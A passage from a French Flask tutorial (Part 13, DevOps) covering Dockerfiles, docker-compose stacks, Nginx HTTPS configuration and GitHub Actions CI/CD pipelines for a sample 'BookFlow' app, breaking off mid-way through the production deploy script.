     -> Caching : quoi mettre en cache, cache aside, @cache.cached, @cache.memoize
     -> Invalidation : manuelle, via événements, cache-bust par versioning
     -> Cache HTTP : ETag, Cache-Control, If-None-Match, 304 Not Modified
     -> Redis avancé : compteurs atomiques, Sorted Sets, sessions distribuées
     -> Optimisation SQLAlchemy : load_only, joinedload, subqueryload, exists()
     -> Indexes : quand créer, index composé, analyse EXPLAIN
     -> Pagination curseur vs offset (×25 plus rapide sur grandes tables)
     -> Profiling : cProfile, Flask-DebugToolbar, pyinstrument
     -> Monitoring SQL : compteur de requêtes, détection N+1, logs lents
     -> Prometheus + Grafana : métriques, alertes automatiques
     -> Flask-Compress : compression gzip transparente
     -> Checklist performance BookFlow (18 points)

  -> Prochaine étape : Partie 13 — DevOps (Docker, CI/CD, déploiement)

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
              Flask Master Guide © 2024 — Guide Complet Génie Logiciel
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

╔══════════════════════════════════════════════════════════════════════════════════════╗
║              FLASK MASTER GUIDE — PARTIE 13 : DEVOPS                              ║
║              Docker, CI/CD avec GitHub Actions et Automatisation                  ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

Partie         : 13 / 20
Chapitres      : 43 -> 44
Prérequis      : Parties 1 à 12 (Flask complet, Tests, Performance)
Projet fil     : BookFlow — Pipeline DevOps complet

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
                          TABLE DES MATIÈRES — PARTIE 13
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  CHAPITRE 43 — Docker : conteneurisation de l'application Flask
  CHAPITRE 44 — CI/CD : pipeline automatisé avec GitHub Actions

  PROJET FIL ROUGE — BookFlow : déploiement automatisé complet

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 43 — DOCKER                                                  ║
║     Conteneuriser Flask pour un déploiement reproductible partout                 ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE DOCKER ?
───────────────────────
Docker est un outil de conteneurisation. Un conteneur est une unité
légère et portable qui embarque l'application et toutes ses dépendances.

PROBLÈME SANS DOCKER :
  "Ça marche sur ma machine mais pas sur le serveur !"
  -> Python version différente
  -> Variables d'environnement absentes
  -> Bibliothèques système manquantes
  -> Config OS différente

SOLUTION DOCKER :
  -> L'application + ses dépendances = une seule image portable
  -> Fonctionne identiquement partout : dev, test, prod
  -> Isolation : chaque conteneur est indépendant
  -> Scalabilité : démarrer N copies en quelques secondes

CONCEPTS CLÉS :

  IMAGE        -> Un template immuable (recette de cuisine)
                 Construite depuis un Dockerfile
                 Stockée dans un registry (Docker Hub, GitHub Container Registry)

  CONTENEUR    -> Une instance d'une image en cours d'exécution
                 Comme un processus isolé avec son propre système de fichiers

  DOCKERFILE   -> Fichier de recette pour construire une image
                 Chaque instruction = une couche

  DOCKER-COMPOSE -> Orchestre plusieurs conteneurs ensemble
                   (App Flask + PostgreSQL + Redis + Nginx)

  REGISTRY     -> Stockage d'images (Docker Hub, GHCR, ECR, GCR)

ARCHITECTURE BOOKFLOW AVEC DOCKER :

  ┌─────────────────────────────────────────────────────────────────┐
  │                   Docker Compose Stack                          │
  ├─────────────────┬─────────────┬─────────────┬──────────────────┤
  │   nginx         │   flask     │  postgres   │     redis        │
  │   (reverse      │   (app)     │  (bdd)      │     (cache)      │
  │   proxy)        │   port 5000 │  port 5432  │     port 6379    │
  │   port 80/443   │             │             │                  │
  └─────────────────┴─────────────┴─────────────┴──────────────────┘
         ^
  Trafic externe


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  DOCKERFILE POUR FLASK
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # Dockerfile
  # ─────────────────────────────────────────────────────────────────────────
  # MULTI-STAGE BUILD : image finale plus petite et sécurisée
  # Stage 1 : builder (avec outils de dev)
  # Stage 2 : runner  (seulement le nécessaire pour exécuter)
  # ─────────────────────────────────────────────────────────────────────────

  # ── STAGE 1 : BUILDER ──────────────────────────────────────────────────
  FROM python:3.11-slim AS builder

  # Définir le répertoire de travail
  WORKDIR /app

  # Éviter les fichiers .pyc et les logs de pip
  ENV PYTHONDONTWRITEBYTECODE=1 \
      PYTHONUNBUFFERED=1 \
      PIP_NO_CACHE_DIR=1 \
      PIP_DISABLE_PIP_VERSION_CHECK=1

  # Installer les dépendances système pour la compilation
  # (nécessaires pour certaines bibliothèques Python avec extensions C)
  RUN apt-get update && apt-get install -y --no-install-recommends \
      build-essential \
      libpq-dev \
      && rm -rf /var/lib/apt/lists/*

  # Copier seulement requirements.txt d'abord (optimisation cache Docker)
  # Si requirements.txt ne change pas, Docker réutilise le cache pip
  COPY requirements.txt .

  # Installer les dépendances dans un répertoire séparé
  RUN pip install --upgrade pip && \
      pip install --prefix=/install -r requirements.txt


  # ── STAGE 2 : RUNNER ───────────────────────────────────────────────────
  FROM python:3.11-slim AS runner

  WORKDIR /app

  ENV PYTHONDONTWRITEBYTECODE=1 \
      PYTHONUNBUFFERED=1 \
      FLASK_ENV=production \
      PORT=5000

  # Installer seulement les bibliothèques runtime (pas les outils de build)
  RUN apt-get update && apt-get install -y --no-install-recommends \
      libpq5 \
      curl \
      && rm -rf /var/lib/apt/lists/*

  # Créer un utilisateur non-root (sécurité)
  RUN groupadd -r bookflow && useradd -r -g bookflow bookflow

  # Copier les dépendances Python depuis le stage builder
  COPY --from=builder /install /usr/local

  # Copier le code de l'application
  COPY --chown=bookflow:bookflow . .

  # Créer les répertoires nécessaires
  RUN mkdir -p /app/logs /app/uploads /app/instance && \
      chown -R bookflow:bookflow /app

  # Basculer vers l'utilisateur non-root
  USER bookflow

  # Exposer le port (documentation, pas de mapping)
  EXPOSE 5000

  # Health check : vérifie que l'app répond
  HEALTHCHECK --interval=30s --timeout=10s --start-period=30s --retries=3 \
    CMD curl -f http://localhost:5000/health || exit 1

  # Commande de démarrage avec Gunicorn
  # -w 4         -> 4 workers (CPU × 2 + 1 recommandé)
  # --threads 2  -> 2 threads par worker
  # -b 0.0.0.0:5000  -> écoute sur tous les interfaces
  # --timeout 120    -> timeout requête
  # --access-logfile - -> logs sur stdout (pour Docker)
  CMD ["gunicorn", \
       "-w", "4", \
       "--threads", "2", \
       "-b", "0.0.0.0:5000", \
       "--timeout", "120", \
       "--access-logfile", "-", \
       "--error-logfile", "-", \
       "--log-level", "info", \
       "run:app"]

.DOCKERIGNORE :
  # .dockerignore — Fichiers exclus de l'image Docker
  # (comme .gitignore mais pour Docker)

  # Environnements virtuels
  venv/
  .venv/
  __pycache__/
  *.pyc
  *.pyo

  # Variables d'environnement (JAMAIS dans l'image !)
  .env
  .env.*

  # Base de données locale
  *.db
  *.sqlite
  instance/

  # Tests (pas nécessaires en prod)
  tests/
  htmlcov/
  .coverage
  .pytest_cache/

  # Git
  .git/
  .gitignore

  # Documentation
  docs/
  *.md

  # IDE
  .vscode/
  .idea/

  # Logs
  logs/
  *.log


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  DOCKER-COMPOSE — STACK COMPLÈTE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # docker-compose.yml — Développement
  version: '3.9'

  services:

    # ── APPLICATION FLASK ─────────────────────────────────────
    app:
      build:
        context: .
        dockerfile: Dockerfile
        target: builder   # Stage builder en dev (avec outils de debug)
      image: bookflow-app:dev
      container_name: bookflow_app

      # En développement : monter le code source pour les changements live
      volumes:
        - .:/app
        - /app/venv        # Ne pas monter le venv local
        - uploads_data:/app/uploads

      # Variables d'environnement depuis le fichier .env
      env_file:
        - .env

      environment:
        - FLASK_ENV=development
        - FLASK_DEBUG=1
        - DATABASE_URL=postgresql://bookflow:bookflow_pwd@postgres:5432/bookflow_dev
        - REDIS_URL=redis://redis:6379/0

      ports:
        - "5000:5000"

      depends_on:
        postgres:
          condition: service_healthy
        redis:
          condition: service_healthy

      command: flask run --host=0.0.0.0 --reload

      networks:
        - bookflow_network

    # ── BASE DE DONNÉES POSTGRESQL ────────────────────────────
    postgres:
      image: postgres:16-alpine
      container_name: bookflow_postgres

      environment:
        POSTGRES_DB:       bookflow_dev
        POSTGRES_USER:     bookflow
        POSTGRES_PASSWORD: bookflow_pwd

      volumes:
        - postgres_data:/var/lib/postgresql/data
        # Script d'initialisation (exécuté au premier démarrage)
        # - ./scripts/init_db.sql:/docker-entrypoint-initdb.d/init.sql

      ports:
        - "5432:5432"   # Exposé pour accès depuis l'hôte (dev seulement)

      healthcheck:
        test: ["CMD-SHELL", "pg_isready -U bookflow -d bookflow_dev"]
        interval: 10s
        timeout: 5s
        retries: 5
        start_period: 30s

      networks:
        - bookflow_network

    # ── REDIS ──────────────────────────────────────────────────
    redis:
      image: redis:7-alpine
      container_name: bookflow_redis

      command: redis-server --appendonly yes --requirepass "redis_password"

      volumes:
        - redis_data:/data

      ports:
        - "6379:6379"

      healthcheck:
        test: ["CMD", "redis-cli", "-a", "redis_password", "ping"]
        interval: 10s
        timeout: 5s
        retries: 5

      networks:
        - bookflow_network

    # ── PGADMIN (Interface graphique PostgreSQL) ───────────────
    pgadmin:
      image: dpage/pgadmin4:latest
      container_name: bookflow_pgadmin
      profiles: ["tools"]   # Seulement avec : docker compose --profile tools up

      environment:
        PGADMIN_DEFAULT_EMAIL:    admin@bookflow.com
        PGADMIN_DEFAULT_PASSWORD: admin_password

      ports:
        - "5050:80"

      depends_on:
        - postgres

      networks:
        - bookflow_network

    # ── REDIS INSIGHT (Interface Redis) ───────────────────────
    redis_insight:
      image: redislabs/redisinsight:latest
      container_name: bookflow_redis_insight
      profiles: ["tools"]

      ports:
        - "8001:8001"

      networks:
        - bookflow_network

  # ── VOLUMES PERSISTANTS ─────────────────────────────────────
  volumes:
    postgres_data:
    redis_data:
    uploads_data:

  # ── RÉSEAU INTERNE ──────────────────────────────────────────
  networks:
    bookflow_network:
      driver: bridge


DOCKER-COMPOSE PRODUCTION :

  # docker-compose.prod.yml — Production
  version: '3.9'

  services:

    nginx:
      image: nginx:1.25-alpine
      container_name: bookflow_nginx
      restart: unless-stopped

      volumes:
        - ./nginx/bookflow.conf:/etc/nginx/conf.d/default.conf:ro
        - ./nginx/ssl:/etc/nginx/ssl:ro
        - static_files:/app/static:ro
        - uploads_data:/app/uploads:ro
        - certbot_www:/var/www/certbot:ro

      ports:
        - "80:80"
        - "443:443"

      depends_on:
        - app

      networks:
        - bookflow_network

    app:
      image: ghcr.io/mon-compte/bookflow:${IMAGE_TAG:-latest}
      container_name: bookflow_app
      restart: unless-stopped

      env_file:
        - .env.prod

      volumes:
        - uploads_data:/app/uploads
        - logs_data:/app/logs

      expose:
        - "5000"   # Seulement exposé en interne (Nginx fait le proxy)

      depends_on:
        postgres:
          condition: service_healthy
        redis:
          condition: service_healthy

      healthcheck:
        test: ["CMD", "curl", "-f", "http://localhost:5000/health"]
        interval: 30s
        timeout: 10s
        retries: 3
        start_period: 40s

      networks:
        - bookflow_network

    postgres:
      image: postgres:16-alpine
      container_name: bookflow_postgres
      restart: unless-stopped

      env_file:
        - .env.prod

      volumes:
        - postgres_data:/var/lib/postgresql/data
        - ./backups:/backups   # Répertoire pour les sauvegardes

      # Pas de port exposé en prod (sécurité)
      expose:
        - "5432"

      healthcheck:
        test: ["CMD-SHELL", "pg_isready -U $POSTGRES_USER -d $POSTGRES_DB"]
        interval: 10s
        timeout: 5s
        retries: 5

      networks:
        - bookflow_network

    redis:
      image: redis:7-alpine
      container_name: bookflow_redis
      restart: unless-stopped

      command: >
        redis-server
        --appendonly yes
        --requirepass ${REDIS_PASSWORD}
        --maxmemory 256mb
        --maxmemory-policy allkeys-lru

      volumes:
        - redis_data:/data

      expose:
        - "6379"

      networks:
        - bookflow_network

    # Sauvegarde automatique PostgreSQL
    backup:
      image: prodrigestivill/postgres-backup-local
      container_name: bookflow_backup
      restart: unless-stopped

      environment:
        POSTGRES_HOST:      postgres
        POSTGRES_DB:        ${POSTGRES_DB}
        POSTGRES_USER:      ${POSTGRES_USER}
        POSTGRES_PASSWORD:  ${POSTGRES_PASSWORD}
        SCHEDULE:           "@daily"
        BACKUP_KEEP_DAYS:   7
        BACKUP_KEEP_WEEKS:  4
        BACKUP_KEEP_MONTHS: 6

      volumes:
        - ./backups:/backups

      depends_on:
        - postgres

      networks:
        - bookflow_network

  volumes:
    postgres_data:
    redis_data:
    uploads_data:
    static_files:
    logs_data:
    certbot_www:

  networks:
    bookflow_network:
      driver: bridge


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  4⃣  CONFIGURATION NGINX
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # nginx/bookflow.conf

  # Redirection HTTP -> HTTPS
  server {
      listen 80;
      server_name bookflow.com www.bookflow.com;

      # Let's Encrypt challenge
      location /.well-known/acme-challenge/ {
          root /var/www/certbot;
      }

      # Tout le reste -> HTTPS
      location / {
          return 301 https://$host$request_uri;
      }
  }

  # HTTPS
  server {
      listen 443 ssl http2;
      server_name bookflow.com www.bookflow.com;

      # Certificats SSL Let's Encrypt
      ssl_certificate     /etc/nginx/ssl/fullchain.pem;
      ssl_certificate_key /etc/nginx/ssl/privkey.pem;

      # Configuration SSL sécurisée
      ssl_protocols TLSv1.2 TLSv1.3;
      ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384;
      ssl_prefer_server_ciphers off;
      ssl_session_cache shared:SSL:10m;
      ssl_session_timeout 10m;

      # HSTS
      add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;

      # Taille max des uploads
      client_max_body_size 16M;

      # Fichiers statiques servis directement par Nginx (ultra-rapide)
      location /static/ {
          alias /app/static/;
          expires 30d;
          add_header Cache-Control "public, immutable";
          access_log off;
      }

      # Uploads
      location /uploads/ {
          alias /app/uploads/;
          expires 7d;
          access_log off;
      }

      # Proxy vers l'application Flask (Gunicorn)
      location / {
          proxy_pass         http://app:5000;
          proxy_set_header   Host $host;
          proxy_set_header   X-Real-IP $remote_addr;
          proxy_set_header   X-Forwarded-For $proxy_add_x_forwarded_for;
          proxy_set_header   X-Forwarded-Proto $scheme;

          # Timeouts
          proxy_connect_timeout 60s;
          proxy_send_timeout    60s;
          proxy_read_timeout    60s;

          # Buffer
          proxy_buffering on;
          proxy_buffer_size 128k;
          proxy_buffers 4 256k;
      }

      # Logs
      access_log /var/log/nginx/bookflow_access.log;
      error_log  /var/log/nginx/bookflow_error.log;
  }


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  5⃣  COMMANDES DOCKER ESSENTIELLES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # ── CONSTRUIRE ET DÉMARRER ──────────────────────────────────

  # Construire les images et démarrer tous les services
  docker compose up --build

  # Démarrer en arrière-plan (daemon mode)
  docker compose up -d --build

  # Démarrer seulement certains services
  docker compose up -d postgres redis

  # Reconstruire seulement l'app (sans cache)
  docker compose build --no-cache app
  docker compose up -d app

  # ── LOGS ET DEBUG ────────────────────────────────────────────

  # Voir les logs de tous les services
  docker compose logs -f

  # Logs d'un seul service (en temps réel)
  docker compose logs -f app

  # Entrer dans le conteneur (shell interactif)
  docker compose exec app bash
  docker compose exec app flask shell

  # Exécuter une commande dans un conteneur
  docker compose exec app flask db upgrade
  docker compose exec app python scripts/seed_db.py

  # ── GESTION ──────────────────────────────────────────────────

  # Arrêter tous les services
  docker compose down

  # Arrêter et supprimer les volumes (réinitialise la BDD !)
  docker compose down -v

  # Voir l'état des services
  docker compose ps

  # Voir l'utilisation des ressources
  docker stats

  # ── PRODUCTION ───────────────────────────────────────────────

  # Déployer avec le fichier de config prod
  docker compose -f docker-compose.yml -f docker-compose.prod.yml up -d

  # Mettre à jour l'image de l'app sans downtime
  docker compose pull app
  docker compose up -d --no-deps app


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  6⃣  EXERCICES
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

NIVEAU FACILE :
  Exercice 43.1 : Crée le Dockerfile pour BookFlow.
    Construis l'image : docker build -t bookflow:local .
    Lance le conteneur : docker run -p 5000:5000 bookflow:local
    Vérifie que /health répond correctement.

  Exercice 43.2 : Crée le docker-compose.yml avec Flask + PostgreSQL.
    Démarre la stack : docker compose up -d
    Vérifie que Flask se connecte bien à PostgreSQL.
    Exécute les migrations : docker compose exec app flask db upgrade

  Exercice 43.3 : Ajoute Redis à docker-compose.yml.
    Configure l'app pour utiliser Redis comme backend de cache.
    Vérifie avec redis-cli que les clés sont bien créées.

NIVEAU INTERMÉDIAIRE :
  Exercice 43.4 : Crée un multi-stage Dockerfile qui optimise la taille.
    Compare la taille de l'image avec et sans multi-stage.
    Objectif : image finale < 200MB.

  Exercice 43.5 : Ajoute le health check Docker à ton conteneur Flask.
    Configure depends_on avec condition: service_healthy pour que
    Flask ne démarre qu'une fois PostgreSQL prêt.

NIVEAU AVANCÉ :
  Exercice 43.6 : Configure docker-compose.prod.yml avec Nginx + SSL.
    Utilise Let's Encrypt (Certbot en conteneur) pour le certificat.
    Teste le reverse proxy et la redirection HTTP -> HTTPS.

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  [10] CORRIGÉS
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

CORRIGÉ 43.1 — Test du Dockerfile :

  # Construire
  docker build -t bookflow:local .

  # Lancer avec variables d'env
  docker run -d \
    --name bookflow_test \
    -p 5000:5000 \
    -e FLASK_ENV=development \
    -e SECRET_KEY=test-key-32-chars-minimum-length \
    -e DATABASE_URL=sqlite:///test.db \
    bookflow:local

  # Vérifier les logs
  docker logs bookflow_test

  # Tester
  curl http://localhost:5000/health

  # Nettoyer
  docker rm -f bookflow_test

CORRIGÉ 43.4 — Dockerfile optimisé :

  # Comparer les tailles :
  docker images bookflow

  # Sans multi-stage : ~800MB (Python + tout le build toolchain)
  # Avec multi-stage :  ~150MB (seulement le runtime)

  # Pour voir les couches de l'image :
  docker history bookflow:local

  # Inspecter l'image :
  docker inspect bookflow:local | grep -A5 '"Size"'

  # Astuces pour réduire la taille :
  # 1. Utiliser python:3.11-slim (pas la version full)
  # 2. Nettoyer apt cache : rm -rf /var/lib/apt/lists/*
  # 3. Combiner les RUN : RUN apt install && rm -rf cache
  # 4. Ne pas copier les fichiers inutiles (.dockerignore)
  # 5. Multi-stage (le plus efficace)


╔══════════════════════════════════════════════════════════════════════════════════════╗
║              CHAPITRE 44 — CI/CD AVEC GITHUB ACTIONS                              ║
║     Pipeline automatisé : tests -> build -> déploiement                            ║
╚══════════════════════════════════════════════════════════════════════════════════════╝

━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1⃣  INTRODUCTION PÉDAGOGIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

QU'EST-CE QUE CI/CD ?
─────────────────────
CI/CD = Continuous Integration / Continuous Deployment (Livraison)

CI (Intégration Continue) :
  -> À chaque push, exécuter automatiquement les tests
  -> Vérifier la qualité du code (linting)
  -> Scanner les vulnérabilités
  -> Construire l'image Docker
  -> Signaler immédiatement si quelque chose casse

CD (Déploiement Continu) :
  -> Si les tests passent -> déployer automatiquement en production
  -> Zéro intervention manuelle pour un déploiement
  -> Rollback automatique si le déploiement échoue

BÉNÉFICES CI/CD :
  [OK] Détection rapide des bugs (avant qu'ils atteignent la prod)
  [OK] Déploiements fréquents et sûrs (plusieurs fois par jour)
  [OK] Réduction du risque (petites changes régulières vs grandes releases)
  [OK] Feedback rapide pour les développeurs
  [OK] Traçabilité complète (qui a déployé quoi et quand)

FLUX CI/CD BOOKFLOW :

  Developer         GitHub            GitHub Actions        Server
  ─────────         ──────            ──────────────        ──────
  git push  ->  Déclenche workflow  ->  1. Tests         ->   Deploy
                                      2. Linting
                                      3. Security scan
                                      4. Build image
                                      5. Push registry
                                      6. Deploy


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  2⃣  PIPELINE CI COMPLET
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # .github/workflows/ci.yml
  name: CI — Tests et Qualité

  on:
    push:
      branches: [main, develop, 'feature/**']
    pull_request:
      branches: [main, develop]

  env:
    PYTHON_VERSION: '3.11'
    REGISTRY: ghcr.io
    IMAGE_NAME: ${{ github.repository }}

  jobs:

    # ── JOB 1 : LINT ET QUALITÉ ─────────────────────────────────────
    lint:
      name: Lint et formatage
      runs-on: ubuntu-latest

      steps:
        - name: Checkout du code
          uses: actions/checkout@v4

        - name: Setup Python
          uses: actions/setup-python@v5
          with:
            python-version: ${{ env.PYTHON_VERSION }}
            cache: 'pip'

        - name: Installer les outils de qualité
          run: pip install flake8 black isort mypy

        - name: Vérifier le formatage (Black)
          run: black --check app/ tests/

        - name: Vérifier les imports (isort)
          run: isort --check-only app/ tests/

        - name: Linting (Flake8)
          run: flake8 app/ tests/ --max-line-length=120

        - name: Type checking (MyPy)
          run: mypy app/ --ignore-missing-imports
          continue-on-error: true   # Non bloquant pour l'instant

    # ── JOB 2 : SÉCURITÉ ────────────────────────────────────────────
    security:
      name: Audit de sécurité
      runs-on: ubuntu-latest

      steps:
        - uses: actions/checkout@v4
        - uses: actions/setup-python@v5
          with:
            python-version: ${{ env.PYTHON_VERSION }}
            cache: 'pip'

        - name: Installer les outils
          run: pip install bandit safety

        - name: Bandit — scan du code source
          run: bandit -r app/ -ll -ii
          continue-on-error: false

        - name: Safety — dépendances vulnérables
          run: safety check -r requirements.txt
          continue-on-error: false

    # ── JOB 3 : TESTS ───────────────────────────────────────────────
    tests:
      name: Tests (${{ matrix.python-version }})
      runs-on: ubuntu-latest
      needs: [lint]   # Dépend du job lint

      # Matrix : tester sur plusieurs versions Python
      strategy:
        matrix:
          python-version: ['3.10', '3.11', '3.12']
        fail-fast: false   # Continuer les autres versions même si une échoue

      services:
        # PostgreSQL pour les tests d'intégration
        postgres:
          image: postgres:16-alpine
          env:
            POSTGRES_DB:       bookflow_test
            POSTGRES_USER:     bookflow
            POSTGRES_PASSWORD: test_password
          options: >-
            --health-cmd pg_isready
            --health-interval 10s
            --health-timeout 5s
            --health-retries 5
          ports:
            - 5432:5432

        # Redis pour les tests de cache
        redis:
          image: redis:7-alpine
          options: >-
            --health-cmd "redis-cli ping"
            --health-interval 10s
            --health-timeout 5s
            --health-retries 5
          ports:
            - 6379:6379

      steps:
        - name: Checkout
          uses: actions/checkout@v4

        - name: Setup Python ${{ matrix.python-version }}
          uses: actions/setup-python@v5
          with:
            python-version: ${{ matrix.python-version }}
            cache: 'pip'

        - name: Installer les dépendances
          run: |
            pip install --upgrade pip
            pip install -r requirements.txt
            pip install -r requirements-dev.txt

        - name: Créer le fichier .env de test
          run: |
            cat > .env << EOF
            FLASK_ENV=testing
            SECRET_KEY=test-secret-key-at-least-32-characters
            JWT_SECRET_KEY=test-jwt-secret-at-least-32-characters
            DATABASE_URL=postgresql://bookflow:test_password@localhost:5432/bookflow_test
            REDIS_URL=redis://localhost:6379/1
            WTF_CSRF_ENABLED=False
            EOF

        - name: Initialiser la BDD de test
          run: |
            flask db upgrade
          env:
            FLASK_APP: run.py

        - name: Lancer les tests
          run: |
            pytest tests/ -v \
              --cov=app \
              --cov-report=xml \
              --cov-report=term-missing \
              --cov-fail-under=70 \
              -x \
              --tb=short
          env:
            FLASK_ENV: testing

        - name: Upload de la couverture vers Codecov
          uses: codecov/codecov-action@v4
          if: matrix.python-version == '3.11'  # Uploader une seule fois
          with:
            file: ./coverage.xml
            fail_ci_if_error: false

        - name: Archiver les rapports de test
          uses: actions/upload-artifact@v4
          if: always()
          with:
            name: test-reports-${{ matrix.python-version }}
            path: |
              htmlcov/
              coverage.xml

    # ── JOB 4 : BUILD DOCKER ────────────────────────────────────────
    build:
      name: Build et Push image Docker
      runs-on: ubuntu-latest
      needs: [tests, security]   # Seulement si tests et sécurité passent

      # Seulement sur la branche main ou develop
      if: github.ref == 'refs/heads/main' || github.ref == 'refs/heads/develop'

      permissions:
        contents: read
        packages: write   # Nécessaire pour push vers GHCR

      outputs:
        image_tag: ${{ steps.meta.outputs.tags }}
        image_digest: ${{ steps.build.outputs.digest }}

      steps:
        - name: Checkout
          uses: actions/checkout@v4

        - name: Setup Docker Buildx (build multi-platform)
          uses: docker/setup-buildx-action@v3

        - name: Connexion au GitHub Container Registry
          uses: docker/login-action@v3
          with:
            registry: ${{ env.REGISTRY }}
            username: ${{ github.actor }}
            password: ${{ secrets.GITHUB_TOKEN }}

        - name: Extraire les métadonnées Docker
          id: meta
          uses: docker/metadata-action@v5
          with:
            images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
            tags: |
              # Tag avec le SHA du commit (ex: sha-a1b2c3d4)
              type=sha,prefix=sha-,format=short
              # Tag avec la branche (ex: main, develop)
              type=ref,event=branch
              # Tag latest seulement sur main
              type=raw,value=latest,enable=${{ github.ref == 'refs/heads/main' }}

        - name: Build et Push l'image Docker
          id: build
          uses: docker/build-push-action@v5
          with:
            context: .
            target: runner          # Stage production
            push: true
            tags: ${{ steps.meta.outputs.tags }}
            labels: ${{ steps.meta.outputs.labels }}
            cache-from: type=gha   # Cache GitHub Actions
            cache-to: type=gha,mode=max
            platforms: linux/amd64,linux/arm64   # Multi-arch

        - name: Scan de sécurité de l'image
          uses: aquasecurity/trivy-action@master
          with:
            image-ref: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}:latest
            format: 'table'
            exit-code: '1'
            severity: 'CRITICAL,HIGH'
          continue-on-error: true


━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  3⃣  PIPELINE CD — DÉPLOIEMENT AUTOMATIQUE
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━

  # .github/workflows/cd.yml
  name: CD — Déploiement Production

  on:
    # Déclenché par la fin réussie du workflow CI
    workflow_run:
      workflows: ["CI — Tests et Qualité"]
      types: [completed]
      branches: [main]

    # Ou déclenchement manuel
    workflow_dispatch:
      inputs:
        environment:
          description: 'Environnement de déploiement'
          required: true
          default: 'production'
          type: choice
          options:
            - staging
            - production

  jobs:

    # ── DÉPLOIEMENT EN STAGING ────────────────────────────────────────
    deploy-staging:
      name: Déploiement Staging
      runs-on: ubuntu-latest
      if: github.event.workflow_run.conclusion == 'success' || github.event_name == 'workflow_dispatch'
      environment:
        name: staging
        url: https://staging.bookflow.com

      steps:
        - name: Checkout
          uses: actions/checkout@v4

        - name: Déployer sur le serveur staging
          uses: appleboy/ssh-action@master
          with:
            host:     ${{ secrets.STAGING_HOST }}
            username: ${{ secrets.STAGING_USER }}
            key:      ${{ secrets.STAGING_SSH_KEY }}
            script: |
              set -e
              cd /opt/bookflow

              # Récupérer la nouvelle image
              echo ${{ secrets.GITHUB_TOKEN }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin
              docker compose pull app

              # Appliquer les migrations
              docker compose run --rm app flask db upgrade

              # Redémarrer l'app (sans downtime avec rolling update)
              docker compose up -d --no-deps app

              # Attendre que l'app soit prête
              sleep 15
              curl -f https://staging.bookflow.com/health || exit 1

              echo "Déploiement staging réussi !"

    # ── TESTS DE FUMÉE (SMOKE TESTS) ─────────────────────────────────
    smoke-tests:
      name: Tests de fumée Staging
      runs-on: ubuntu-latest
      needs: [deploy-staging]

      steps:
        - name: Test /health
          run: curl -f https://staging.bookflow.com/health

        - name: Test liste livres
          run: |
            response=$(curl -s -w "%{http_code}" https://staging.bookflow.com/api/v1/livres/)
            http_code=${response: -3}
            if [ "$http_code" != "200" ]; then
              echo "Erreur : code HTTP $http_code"
              exit 1
            fi

        - name: Test connexion
          run: |
            response=$(curl -s -X POST \
              -H "Content-Type: application/json" \
              -d '{"email":"test@bookflow.com","mot_de_passe":"test"}' \
              -w "%{http_code}" \
              https://staging.bookflow.com/api/v1/auth/login)
            # 200 ou 401 = serveur répond correctement
            http_code=${response: -3}
            if [ "$http_code" != "200" ] && [ "$http_code" != "401" ]; then
              echo "Erreur serveur : code HTTP $http_code"
              exit 1
            fi

    # ── DÉPLOIEMENT EN PRODUCTION ─────────────────────────────────────
    deploy-production:
      name: Déploiement Production
      runs-on: ubuntu-latest
      needs: [smoke-tests]
      environment:
        name: production
        url: https://bookflow.com

      steps:
        - name: Déployer en production
          uses: appleboy/ssh-action@master
          with:
            host:     ${{ secrets.PROD_HOST }}
            username: ${{ secrets.PROD_USER }}
            key:      ${{ secrets.PROD_SSH_KEY }}
            script: |
              set -e
              cd /opt/bookflow

              # Sauvegarder la BDD avant déploiement
              docker compose exec -T postgres pg_dump -U bookflow bookflow_prod \
